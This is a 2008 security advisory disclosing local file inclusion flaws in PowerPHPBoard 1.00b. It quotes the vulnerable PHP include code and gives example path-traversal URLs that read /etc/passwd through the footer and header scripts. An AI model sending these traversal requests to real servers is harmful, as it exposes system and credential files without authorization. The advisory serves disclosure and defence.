PowerPHPBoard 1.00b Multiple Local File Inclusion Vulnerabilities

2008-03-24 00:00:00

[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory


Application: PowerPHPBoard
Versions Affected: 1.00b
Vendor URL: http://www.powerscripts.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 24.03.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
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PowerPHPBoard has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
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#################################################

if ($settings[footer]) {
if (file_exists("inc/$settings[footer]")) {
include("inc/$settings[footer]");
} else {
echo "<center>$lang_footerdoesntexists</center>";
}
} else {
include("inc/footer.ppb");
}

#################################################


Example:

http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd

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2. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

if (!$handler) {
if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) {
...
}
}

...

$query = "SELECT * FROM ppb_config WHERE id='1'";
$result = mysql_query($query,$handler);
$num = mysql_num_rows($result);

if ($num != 0) {
list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer], $settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode], $settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result);
}

...

if ($settings[header]) {
if (file_exists("inc/$settings[header]")) {
include("inc/$settings[header]");
} else {
echo "<center>$lang_headerfiledoesntexists</center>";
}
} else {
include("inc/header.ppb");
}

#################################################


Example:

http://[server]/[installdir]/header.inc.php?handler=1234&settings[header]=../../../../../../../../../../../../../etc/passwd


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